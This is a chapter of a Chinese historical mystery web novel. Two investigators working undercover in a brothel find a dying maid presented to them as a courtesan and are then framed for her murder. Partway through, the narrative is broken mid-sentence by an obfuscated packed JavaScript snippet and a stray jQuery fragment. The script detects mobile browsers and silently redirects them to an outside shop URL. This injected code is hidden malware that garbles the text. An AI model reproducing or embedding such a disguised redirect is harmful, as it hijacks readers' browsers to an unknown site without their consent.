李青禾适时开口提醒,“公子,您不是向来最是喜爱兰花,觉得其高洁风雅。”
陈明理会意,“言之有理,那就请兰花花神来吧。”
“得令,在下这便下去安排着。”刘安说罢离开房间,李青禾和陈明理怕隔墙有耳,不说丝毫与案件相关,只装作主仆闲聊几句。约一刻钟后,刘安推门而入,神色尴尬,“不巧,陈大东家对不住,这兰花花神已被人先行一步选走。”
陈明理,李青禾,“......”
“实在对不住,流芳楼的规矩就是先到先得或价高者得。”
陈明理食指点点桌面,“价高者得?那人用的何价,我可加价。”
刘安面露难色,“这......实不相瞒,那位贵客一口价定了,这也是流芳楼的规矩。”
陈明理有些不耐,“贵楼规矩可真多。那还有哪几位可供我选?”
刘安赔笑,“现下啊,只剩下桃花花神了。”
李青禾眼眸睁大,难以置信居然这么快就有新的桃花花神,死的那么惨的前任桃花花神,什么都没留下。
陈明理佯装恼怒,“那还让我选什么!这还有的选?莫不是我陈明理身份地位太低,不够资格?既如此那你们邀请我做甚?”
刘安神色为难,忙安抚道,“大东家稍安勿躁,稍安勿躁。着实是没得法子的事,您实在是来晚了一些。流芳楼的规矩在下也得遵守。”
“合着此事该怪我了?”
刘安叠声否认,“不敢不敢,怎么敢怪您呢?是在下做事不周,让您恼怒全是在下的错。可如今花神确实只剩这一位了,您看?”
李青禾借着桌子抵挡,不动声色轻踢陈明理的脚。陈明理愣了一瞬,当即反应过来,冷哼一声,“我看,我能如何看?还有得选么?被你所言勾起兴致又遇到这等事,当真是败兴。”
刘安腆着脸不住道歉,“对不住,当真对不住,还请您多多理解,万万海涵。”
陈明理摆摆手,语气愈发不耐,“那便请她过来。你别在我跟前晃,看见就烦。”
刘安脸色黑了一瞬,心中不停咒骂,忍着脾气不停告诉自己只需再忍耐片刻就可,什么陈大东家,等下还不是任自己拿捏,他心思浮动,面上却仍是一派讨好之色,“好嘞,在下这就安排把人给您带上来,在下就不在跟前碍眼了。今日这事是我流芳楼做得不好,怠慢了陈大东家,这五百两在下就做主给您免了。”
陈明理掀起眼皮看他,颇为不屑,“我差这点钱?今夜只要我满意,银子还会少?”
李青禾在旁侧听着偷偷翻了个白眼,是她太穷了。
“是是,是在下胡说了,大东家实力雄厚,往后还要指着陈大东家过活,多多照顾流芳楼。在下立马就下去安排,包管妥帖称心,让您尽兴而归。”刘安说完退了出去。
这趟刘安去的有些久,屋内两人又不好说太多话怕露馅,李青禾放轻动作在屋内四下检查,看是否有异常或陷阱。正欲检查窗户时,屋外传来响动,忙迅速归位,又恢复那副低眉顺目的小厮模样站在陈明理身侧。
轻柔有礼的敲门声响后,一道轻柔女声传来,“公子,桃花花神到了。”
陈明理应声,“请进。”
门被轻轻推开,一位穿着如灼灼桃花般淡粉色华裙、盛妆打扮、面覆罗纱的女子在两名丫鬟的搀扶下缓步入内,有风从她们打开的门随之吹入,拂进满室花香。本该是华丽美好的一幕,李青禾皱眉看着她们的动作,那位桃花花神不像是出于自愿进来的,而是精神萎顿靠在丫鬟身上被半托半褪进来的,难不成她被下药了?
丫鬟引着桃花花神入内,安置于桌旁座椅,随后掩门离去。李青禾盯着桃花花神,她双手置于身前,脑袋低垂,什么都看不清,半晌也未见动作亦未出声。陈明理率先开口,“这位...桃花花神?”
“......”仍是未见回应,也未见动作。陈明理回头同李青禾对视一眼,压低声音,“有些不对劲。”
李青禾沉沉点头,用气音说道,“你别动,我上前看看。”走近桃花花神右侧,伸出手扶上她的肩,“这位花神,您可......”
话还未说完,桃花花神身子一侧,朝她倒来,李青禾忙半搂住,掌住桃花花神左肩的手传来冰凉触感,随后阵阵温热的液体打湿她的手,她就着这个姿势看向自己的左手,入目是刺眼的鲜红,竟然是血!李青禾将人推开稍许,朝她左肩看去,那处的衣服并未破损,此时却被鲜血浸染,周围似乎还有些...水渍?
李青禾从后拉开她的衣领少许朝内看去,后心处有个伤口,被一圈绷带绑着,不住往外渗血。她掏出怀中帕子塞到伤口处用力按住,一把将人横抱起就想往外跑。
桃花花神无力伸出手按住李青禾抱着她的那只手,费力吐声,“快......”
李青禾止住脚步,侧耳听去,“你说什么?”
“快.......”
声音太过虚弱含糊,听不清。这个面纱实在碍事,李青禾微低头用嘴叼住面纱一角后仰头扯掉,吹到一旁,转头再来看怀中人,“你说什.......”眼前场景有些让人难以置信,一时忘了隐藏声音,“春丫?怎么是你?”
春丫听到有些熟悉的声音,瞪大眼睛想去看来的人是谁,是不是自己在等的那个人,可是失血过多让她眼前模糊,脑子里混混沌沌,“你是......谁?”
“我是......李......我是翠苗,春丫姐姐,是我。”
春丫却连听都请不见了,喃喃着不停用虚弱无力的声音说道,“快......跑,公......子,姐......姐,快.......跑,有陷......阱。”
“什么陷阱?你先别说话了,我带你去找大夫。”李青禾无比焦急,当即想冲出去。
陈明理却拉住了她,“你此时出去岂不是功亏一篑。”
“难道见死不救吗?”
陈明理轻叹,“瞧她这模样,应是......垂死回光,已然救不得了。”
李青禾咬牙道,“我不信,她最大的心愿就是离开此处,我现下就带她离开。”
春丫浑身抽搐几下,口中吐出鲜血,手伸向半空,似乎在抓着什么,“桃花...姐...姐,您来带春丫...走了,真...好!春丫...很思念......您...”说罢,那只手重重垂落,连方才胸前微弱的起伏都不再有,生息已断,无力回天。李青禾觉得怀中人有千斤重,她承受不住单膝跪地,搂抱住春丫,“睁开眼啊春丫,你不是想离开吗?我马上带你离开,你睁开眼好不好?”
抬手摸向她的颈侧,无论她摸多久,探多深,怀中人都再无半分动静,春丫苦苦等候的姐姐竟然是桃花,当真是天意弄人,“你且安心去吧,你的...桃花姐姐在前面等你,从此以后你们能一直在一起了。”
陈明理走到她身旁,抬手按上她的肩,“你认得她?”
李青禾心中难过,低声相告,“前次来此间办差事时撞见的,是流芳楼的丫鬟。”
陈明理见她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944469|213714||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
神色不对,刚想宽慰几句,此时门外却又有了动静,“情况不妙,你先打起精神来.....”
门猛地被推开,女子尖叫声响起,“啊!杀人了!杀人了啊!有人杀人了啊!”
李青禾和陈明理还未作反应,那女子扑在春丫身侧,“桃花妹妹,你怎会如此?怎会遇到如此凶徒?他们对你做了何等恶事?”
她不停在春丫身上摸索,李青禾扣住她的手腕,不让她乱动,蓦然沉沉看着她。
其他房间的人闻言纷纷探出头来瞧热闹,“哟,真杀人了,这公子当真狠心。”
那名闯进来的女子亦是一身艳红华服,妆容明媚,被李青禾抓住害怕得抽开手后退,靠在门边花容失色,一副惊吓过度的模样。刘安的声音从围观的人群后传来,“都让让,都让让,发生了何事了?可莫要扰了我们陈大东家的雅兴,到时候都担待不起。”说话间他已挤到门前,看到眼前场景立马惊慌失措,“这是怎么了?陈大东家,这是做什么?就算是我们这儿的姑娘伺候的不好,也不该杀人呀?这可如何是好。”
陈明理脸色黢黑,看向他目光沉沉,冷声开口,“刘管事可莫要胡说,这女子送来时已身受重伤,进房片刻便流血不止倒地,怎么攀咬是我杀的人?”
刘安一脸不可置信,“陈大东家哪里的话,方才我瞧得仔细,就怕误了大东家的好事,全程盯着,还喊了两个丫鬟将人好好的送进去,你说她进入房间便已身受重伤,那又是如何行走的?”
陈明理不欲同他拉扯,“那就报官,让县衙派人来仔仔细细,清清楚楚地查个明白。”
刘安一脸怀疑,“可知县大人不是您父亲吗?这...能查得清清楚楚吗?”
一句话暗示得太多,围观人群议论纷纷,看着陈明理和李青禾的眼神变得怀疑不已。陈明理倒是丝毫不慌,整理好衣摆起身,“看来刘管事有‘生意’找我谈,不如进来一叙,我们好好谈谈。”
刘安眼中闪过精明,“陈大东家不愧是生意人,那我便一同入内谈谈吧。”他进入屋内关上门挡住其余人视线,“你目睹了事发,你留下。”此话是对着刚才那开门的艳丽女子说的,那女子便一同留在屋内。
陈明理落座,掀开眼皮,“刘管事自便。”
刘安亦在桌旁落座,笑意盈盈,“那在下便不客气了。不过陈大东家这随从要一直在那抱着个死人么?”
陈明理看向李青禾,“放下吧。”
李青禾抱起春丫,行至内间床铺放下,放下时脸离春丫的脖颈极近,春丫的左侧的衣服不仅有血渍,还有显眼的水渍,衣服被水打湿了大半,右侧却颇为干爽,想起方才搂抱春丫时的冰凉手感,颇为不解。但此刻没有时间让她思考太久,她安置好春丫后走回陈明理身侧,又是那副低眉顺目的模样,“公子,放好了。”
陈明理颔首,望向那艳丽女子,“那位是?”
刘安亦看过去,“那是梅花花神。”
梅花花神走过来盈盈行礼,“见过陈大东家。”
陈明理脸色不显,把玩着手上的扳指,“你方才闯进来的时机倒是颇妙,连门都不敲?谁让你如此做的?”
梅花花神却淡定从容,“桃花妹妹最是胆小,此次是她第一次接客,我方才在路上碰着她被人扶着进来,脸色颇为不好,实在是担忧她冲撞了贵客,在门前又听到她惨叫声,一时心急就闯了进来。”
陈明理冷笑一声,“这都是你们设下的陷阱吧,事已至此,不妨有话直说,你们目的为何,何必浪费彼此的时间。”